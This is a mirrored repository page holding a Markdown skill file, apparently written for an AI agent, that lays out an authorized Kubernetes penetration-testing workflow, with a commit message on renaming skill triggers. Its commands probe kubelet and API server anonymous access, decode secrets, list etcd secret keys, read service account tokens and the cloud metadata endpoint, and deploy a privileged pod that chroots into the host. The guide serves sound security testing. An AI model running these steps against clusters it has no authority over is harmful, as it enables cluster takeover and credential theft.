mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
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All 33 container-security skills now carry what it does, an explicit "Use when" trigger, keywords, and a negative trigger naming the nearest neighbour. Six collision clusters resolved by differentiating scope rather than merging, so no skill is removed: - kube-bench: running the tool vs interpreting findings into an audit - Calico: portable upstream NetworkPolicy vs Calico-as-CNI vs Calico-only CRDs (GlobalNetworkPolicy, HostEndpoint, DNS egress) - Falco: deploying and operating it vs authoring escape rules - container escape: tool-agnostic runtime signals vs Falco rule syntax vs static posture audit vs offensive breakout - Trivy: all-target platform and operator vs single-image scan - Docker: images and Dockerfiles vs daemon.json vs the CIS audit script Also replaces the templated "When to Use" boilerplate in these files, including bullets that only restated the skill's own name. Worst pair (Pod Security Standards vs Pod Security Admission) drops from 0.77 cosine to below the 0.45 threshold. Repo-wide: colliding pairs 60 -> 56, skills involved 105 -> 94.
287 lines
8.6 KiB
Markdown
287 lines
8.6 KiB
Markdown
---
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name: performing-kubernetes-penetration-testing
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description: >-
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Evaluates Kubernetes cluster security by actively simulating attacker techniques against the
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API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter,
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Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise.
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Use for an authorized penetration test or hands-on validation that controls actually stop an
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attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token
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theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance
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audit - use performing-kubernetes-cis-benchmark-with-kube-bench.
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domain: cybersecurity
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subdomain: container-security
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tags:
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- containers
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- kubernetes
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- security
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- penetration-testing
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- offensive-security
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version: '1.0'
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author: mahipal
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license: Apache-2.0
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nist_csf:
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- PR.PS-01
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- PR.IR-01
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- ID.AM-08
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- DE.CM-01
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mitre_attack:
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- T1610
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- T1611
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- T1609
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- T1525
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---
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# Performing Kubernetes Penetration Testing
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## Overview
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Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.
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## When to Use
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- When conducting security assessments that involve performing kubernetes penetration testing
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- When following incident response procedures for related security events
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- When performing scheduled security testing or auditing activities
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- When validating security controls through hands-on testing
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## Prerequisites
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- Authorized penetration testing engagement
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- Kubernetes cluster access (various levels for different test scenarios)
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- kube-hunter, kubescape, kube-bench installed
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- kubectl configured
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- Network access to cluster components
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## Core Concepts
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### Kubernetes Attack Surface
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| Component | Port | Attack Vectors |
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|-----------|------|---------------|
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| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |
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| Kubelet | 10250/10255 | Unauthenticated access, command execution |
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| etcd | 2379/2380 | Unauthenticated read, secret extraction |
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| Dashboard | 8443 | Default credentials, token theft |
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| NodePort Services | 30000-32767 | Service exposure, application exploits |
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| CoreDNS | 53 | DNS spoofing, zone transfer |
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### MITRE ATT&CK for Kubernetes
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| Phase | Techniques |
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|-------|-----------|
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| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |
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| Execution | exec into container, CronJob, deploy privileged pod |
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| Persistence | Backdoor container, mutating webhook, static pod |
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| Privilege Escalation | Privileged container, node access, RBAC abuse |
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| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |
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| Credential Access | Secret extraction, service account token theft |
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| Lateral Movement | Container escape, cluster internal services |
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## Workflow
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### Step 1: External Reconnaissance
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```bash
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# Discover Kubernetes services
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nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com
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# Check for exposed API server
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curl -k https://target-cluster.com:6443/api
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curl -k https://target-cluster.com:6443/version
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# Check anonymous authentication
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curl -k https://target-cluster.com:6443/api/v1/namespaces
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# Check for exposed kubelet
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curl -k https://node-ip:10250/pods
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curl http://node-ip:10255/pods # Read-only kubelet
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```
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### Step 2: Automated Scanning with kube-hunter
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```bash
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# Install kube-hunter
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pip install kube-hunter
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# Remote scan
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kube-hunter --remote target-cluster.com
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# Internal network scan (from within cluster)
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kube-hunter --internal
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# Pod scan (from within a pod)
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kube-hunter --pod
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# Generate report
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kube-hunter --remote target-cluster.com --report json --log output.json
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```
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### Step 3: CIS Benchmark Assessment with kube-bench
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```bash
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# Run kube-bench on master node
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kube-bench run --targets master
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# Run on worker node
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kube-bench run --targets node
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# Check specific sections
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kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3
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# JSON output
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kube-bench run --json > kube-bench-results.json
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# Run as Kubernetes job
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kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
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kubectl logs -l app=kube-bench
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```
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### Step 4: Framework Compliance with Kubescape
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```bash
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# Install kubescape
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curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
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# Scan against NSA/CISA hardening guide
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kubescape scan framework nsa
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# Scan against MITRE ATT&CK
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kubescape scan framework mitre
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# Scan against CIS Kubernetes Benchmark
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kubescape scan framework cis-v1.23-t1.0.1
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# Scan specific namespace
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kubescape scan framework nsa --namespace production
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# JSON output
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kubescape scan framework nsa --format json --output kubescape-report.json
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```
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### Step 5: RBAC Exploitation Testing
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```bash
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# Check current permissions
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kubectl auth can-i --list
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# Check specific high-value permissions
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kubectl auth can-i create pods
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kubectl auth can-i create pods --subresource=exec
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kubectl auth can-i get secrets
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kubectl auth can-i create clusterrolebindings
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kubectl auth can-i '*' '*' # cluster-admin check
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# Enumerate service account tokens
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kubectl get serviceaccounts -A
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kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'
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# Check for overly permissive roles
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kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'
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# Test service account impersonation
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kubectl --as=system:serviceaccount:default:default get pods
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```
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### Step 6: Secret Extraction Testing
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```bash
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# List all secrets
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kubectl get secrets -A
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# Extract specific secret
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kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
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# Check for secrets in environment variables
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kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'
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# Check for secrets in mounted volumes
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kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'
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# Search etcd directly (if accessible)
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ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
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--cacert=/etc/kubernetes/pki/etcd/ca.crt \
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--cert=/etc/kubernetes/pki/etcd/server.crt \
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--key=/etc/kubernetes/pki/etcd/server.key \
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get /registry/secrets --prefix --keys-only
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```
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### Step 7: Pod Exploitation
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```bash
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# Deploy test pod with elevated privileges
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cat <<EOF | kubectl apply -f -
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apiVersion: v1
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kind: Pod
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metadata:
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name: pentest-pod
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namespace: default
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spec:
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hostNetwork: true
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hostPID: true
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containers:
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- name: pentest
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image: ubuntu:22.04
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command: ["sleep", "infinity"]
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securityContext:
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privileged: true
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volumeMounts:
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- name: host-root
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mountPath: /host
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volumes:
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- name: host-root
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hostPath:
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path: /
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EOF
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# Exec into pod
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kubectl exec -it pentest-pod -- bash
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# From inside privileged pod - access host filesystem
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chroot /host
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# From inside any pod - check internal services
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curl -k https://kubernetes.default.svc/api/v1/namespaces
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cat /var/run/secrets/kubernetes.io/serviceaccount/token
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```
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### Step 8: Network Policy Testing
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```bash
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# Check for network policies
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kubectl get networkpolicies -A
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# Test pod-to-pod communication (should be blocked by policies)
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kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc
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# Test egress to external services
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kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com
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# Test access to metadata service (cloud environments)
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kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/
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```
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## Validation Commands
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```bash
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# Verify kube-hunter findings
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kube-hunter --remote $CLUSTER_IP --report json
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# Cross-validate with Kubescape
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kubescape scan framework nsa --format json
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# Check remediation effectiveness
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kube-bench run --targets master,node --json
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# Clean up pentest resources
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kubectl delete pod pentest-pod
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kubectl delete pod test-netpol test-egress test-metadata
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```
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## References
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- [kube-hunter - Kubernetes Penetration Testing](https://github.com/aquasecurity/kube-hunter)
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- [Kubescape - Kubernetes Security Platform](https://github.com/kubescape/kubescape)
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- [kube-bench - CIS Benchmark](https://github.com/aquasecurity/kube-bench)
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- [MITRE ATT&CK Containers Matrix](https://attack.mitre.org/matrices/enterprise/containers/)
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- [Kubernetes Threat Matrix - Microsoft](https://microsoft.github.io/Threat-Matrix-for-Kubernetes/)
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